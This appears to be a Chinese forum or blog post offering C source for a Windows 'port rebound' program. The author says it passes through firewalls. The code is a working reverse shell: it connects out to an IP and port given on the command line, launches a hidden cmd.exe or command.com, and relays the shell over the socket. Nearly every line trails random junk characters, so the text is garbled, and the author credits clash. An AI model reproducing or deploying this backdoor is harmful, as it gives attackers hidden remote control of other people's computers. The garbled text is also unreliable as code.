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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }&`#  
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/* ============================== }UQBaqDH  
Rebound port in Windows NT Q[`_Y3@j  
By wind,2006/7 A&F@+X6@  
===============================*/ eP[azC"G[  
#include }T4"#'`  
#include \7*9l%  
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#pragma comment(lib,"wsock32.lib") 8Z FPs/HP  
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void OutputShell(); Yz\z Qj  
SOCKET sClient; 0@^YxU[YN  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c,X\1yLy  
q ( H^H  
void main(int argc,char **argv) sqj8c)6  
{ EJb"/oLla  
WSADATA stWsaData; 2vu"PeU9  
int nRet; Ny p5=  
SOCKADDR_IN stSaiClient,stSaiServer; GkaIqBS  
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if(argc != 3) h*h+VM  
{ u+z$+[lm!G  
printf("Useage:\n\rRebound DestIP DestPort\n"); tjuW+5O  
return; mS&[<[x  
} 0[);v/@Ho  
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WSAStartup(MAKEWORD(2,2),&stWsaData); }!lLA4XRr  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <;SQ1^N  
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stSaiClient.sin_family = AF_INET; dB^J}_wp  
stSaiClient.sin_port = htons(0); +:mj]`=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fPZBm&`C  
)=[K$>0k  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cQ1oy-paD  
{ ^md7ezXL  
printf("Bind Socket Failed!\n"); v9u/<w68!  
return; leg@ia  
} 5i83(>p3]e  
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stSaiServer.sin_family = AF_INET; XDz![s  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U$ _?T-x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #xm<|s   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UVxE~801Y  
{ m:/nw,  
printf("Connect Error!"); \aU^c24>  
return; {KdC5 1"Nv  
} `m`jX|`  
OutputShell(); 0F0V JE  
} k_-=:(Z  
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void OutputShell() C>:F4"0  
{ X+?*Tw!\  
char szBuff[1024]; tA3]6SIK@  
SECURITY_ATTRIBUTES stSecurityAttributes; 0A9x9l9Wd  
OSVERSIONINFO stOsversionInfo; %*oz~,i  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9'Pyo`hJ#U  
STARTUPINFO stStartupInfo; [o*u!2 r  
char *szShell; |.*),t3 (w  
PROCESS_INFORMATION stProcessInformation; .hSacd  
unsigned long lBytesRead; *<Fz1~%*  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7h&$^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i>7f9D7  
stSecurityAttributes.lpSecurityDescriptor = 0; N+"Y@X yg  
stSecurityAttributes.bInheritHandle = TRUE; 4+$<G/K  
e ! 6SJ7xC  
Olj]A]v}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]6pxd \Q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LCyci1\@  
5w@  ;B  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U#Wc!QN-t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Y Cj/tG8  
stStartupInfo.wShowWindow = SW_HIDE; })M$#%(  
stStartupInfo.hStdInput = hReadPipe; >#$( M5&}-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; y$r9Y!?s  
)gmDxD ^C  
GetVersionEx(&stOsversionInfo); wTf0O@``6H  
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switch(stOsversionInfo.dwPlatformId) f`:e#x  
{ oeDsJ6;  
case 1: 1 _fFbb"  
szShell = "command.com"; tmRD$O%:  
break; pnxjuDN7}x  
default: Zv7@  
szShell = "cmd.exe"; ' uo`-Y  
break; w_KGn17  
} [9BlP  
1.p?P] .  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C: kl/9M@  
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send(sClient,szMsg,77,0); Ook3B  
while(1) \#LKsQa  
{ }h +a8@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +(/XMx}a  
if(lBytesRead) ?9H7Twi+T  
{ rHT8a^MO  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w?jmi~6  
send(sClient,szBuff,lBytesRead,0); 'x+0 yd  
} J:?t.c~$o  
else v0"|J3  
{ tborRi)  
lBytesRead=recv(sClient,szBuff,1024,0); $rFv(Qc^=  
if(lBytesRead<=0) break; k5!k3yI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;cp-jY_U  
} :]y;t/   
} 0qG[hxt%  
hf:n!+,C  
return; *n}9_V%  
}
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